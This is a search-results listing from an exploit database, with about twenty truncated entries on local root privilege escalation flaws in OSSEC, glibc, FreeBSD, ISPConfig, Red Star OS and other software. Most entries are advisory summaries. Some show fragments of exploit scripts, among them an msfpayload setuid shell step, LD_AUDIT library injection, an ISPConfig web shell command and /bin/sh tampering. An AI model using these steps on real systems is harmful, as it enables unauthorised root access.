1520 matches found
OSSEC 2.8.1 Local Root Escalation
Fix for CVE-2015-3222 which allows for root escalation via syscheck - https://github.com/ossec/ossec-hids/releases/tag/2.8.2 Affected versions: 2.7 - 2.8.1 Beginning is OSSEC 2.7 d88cf1c9 a feature was added to syscheck, which is the daemon that monitors file changes on a system, called...
OSSEC 2.7 <= 2.8.1 - Local Root Escalation Vulnerability
Exploit for linux platform in category local exploits Fix for CVE-2015-3222 which allows for root escalation via syscheck - https://github.com/ossec/ossec-hids/releases/tag/2.8.2 Affected versions: 2.7 - 2.8.1 Beginning is OSSEC 2.7 d88cf1c9 a feature was added to syscheck, which is the daemon th...
Apple OS X Firmware Write-Protect Local Elevation of Privilege Vulnerability
Apple OS X is an Apple operating system. The Apple OS X firmware fails to properly write-protect the BIOS by entering and exiting sleep mode during the current session, and suffers from a local elevation of privilege vulnerability, which allows a local root user to write to the contents of the...
Cisco AnyConnect Secure Mobility Client Elevation of Privilege Vulnerability (CNVD-2015-03595)
Cisco AnyConnect Secure Mobility Client is Cisco's next-generation VPN client. A security vulnerability exists in the Cisco AnyConnect Secure Mobility Client for Linux code due to a failure in the correct implementation of an internal function, which can be exploited by a local attacker to gain...
Apport (Ubuntu 14.0414.1015.04) - Race Condition Privilege Escalation
Apport Ubuntu 14.0414.1015.04 - Race Condition Privilege Escalation / Exploit Title: apport/ubuntu local root race condition Date: 2015-05-11 Exploit Author: rebel Version: ubuntu 14.04, 14.10, 15.04 Tested on: ubuntu 14.04, 14.10, 15.04 CVE : CVE-2015-1325 ==============================...
DEBIAN-CVE-2015-2831
Buffer overflow in daswatchdog 0.9.0 allows local users to execute arbitrary code with root privileges via a large string in the XAUTHORITY environment variable...
Fedora 12 setroubleshootd Local Root Proof Of Concept
setroubleshoot tries to find out which rpm a particular file belongs to when it finds SELinux access violation reports. The idea is probably to have convenient reports for the admin which type enforcement rules have to be relaxed. setroubleshoot runs as root although in its own domain. In util.py...
Symantec Encryption Management Server < 3.2.0 MP6 - Remote Command Injection
Vantage Point Security Advisory 2014-007 ======================================== Title: Symantec Encryption Management Server - Remote Command Injection ID: VP-2014-007 Vendor: Symantec Affected Product: Symantec Encryption Gateway Affected Versions: 3.2.0 MP6 Product Website:...
Red Star 3.0 Desktop Local Root
!/bin/bash Another local 0day in Red Star 3.0 Desktop by TheGreatLeader Run exploit in a X11 terminal and enjoy a root shell... Create temp dir for our payload mkdir /tmp/DPRK msfpayload linux/x86/exec PrependSetuid=true CMD=/bin/bash X echo -e -n...
Linux Kernel libfutex Local Root for RHEL/CentOS 7.0.1406 Exploit
Exploit for linux platform in category local exploits / CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406 By Kaiqu Chen email protected Based on libfutex and the expoilt for Android by GeoHot. Usage: $gcc exploit.c -o exploit -lpthread $./exploit / include include include include include include...
Linux Local Root => 2.6.39 (32-bit & 64-bit) - Mempodipper #2
No description provided by source. /Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about it is here: http://blog.zx2c4.com/749 / / Mempodipper by zx2c4 Linux Local Root Exploit Rather than put my write up here, per usual, this time I've put it in a rather...
GNU libc 2.12.1 LD_AUDIT libpcprofile.so Local Root
!/bin/sh Exploit Title: GNU libc /tmp/libxpl.c /dev/null cat /tmp/libxpl.so /lib/libxpl.so rm -rf /tmp/libxpl.c /tmp/libxpl.so LDAUDIT="libxpl.so" ping...
GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root
!/bin/sh Exploit Title: GNU libc /tmp/libxpl.c /dev/null cat /tmp/libxpl.so /lib/libxpl.so rm -rf /tmp/libxpl.c /tmp/libxpl.so LDAUDIT="libxpl.so" ping...
ISPConfig 3.0.54p1 - Authenticated Admin Local root Vulnerability
Exploit for linux platform in category web applications While logged in as admin user: 1 add a shell user 2 under option set gid to ispconfig 3 log in as that user 4 edit /usr/local/ispconfig/interface/lib/lang/en.lng with system$GET'cmd'; 5 browse to: http://server:8080/index.php?cmd=echo...
ISPConfig 3.0.54p1 Local Root
Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability Date: 7/25/14 Exploit Author: mra Vendor Homepage: http://wwwispconfig.org Version: 3.0.54p1 Tested on: ubuntu, centos irc.criten.net elite-chat While logged in as admin user: 1 add a shell user 2 under option set gid to...
Adobe Version Cue 1.0/1.0.1 - Local Root Exploit (OSX)
No description provided by source. !/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program writes data to a log file in the current working directory while running as setuid root. the logfile is formated...
BSD/OS 2.1/3.0,Larry Wall Perl 5.0 03,RedHat 4.0/4.1,SGI Freeware 1.0/2.0 suidperl Overflow(2)
No description provided by source. source: http://www.securityfocus.com/bid/708/info Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl'. When this program is installed setuid root the overflows may lead to a local root compromise...
Tolis Group BRU 17.0 - Local Root Exploit (1)
No description provided by source. source: http://www.securityfocus.com/bid/8215/info It has been reported that BRU may not properly parse commandline arguments, potentially leading to at least two vectors of exploitation. It may be possible for local attackers to conduct format string-based...
Centrify Deployment Manager 2.1.0.283 - Local Root
No description provided by source. Centrify Deployment Manager v2.1.0.283 local root 12/7/2012 Taking a little longer look at the software, I managed to win a race condition and get root with files in /tmp. Here is my analysis: root@h0g:/tmp ls -l /etc/shadow -r-------- 1 root shadow 1010 Dec 7...
FreeBSD mbufs() sendfile Cache Poisoning Privilege Escalation
No description provided by source. / freebsd x86/x64 sendfile cache local root xpl v2 by Kingcope 2010 -- should h4x any freebsd 8. and 7. prior to 12Jul2010 tampers /bin/sh to contain a shellcode which does ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how to use: terminal 1: $ cp...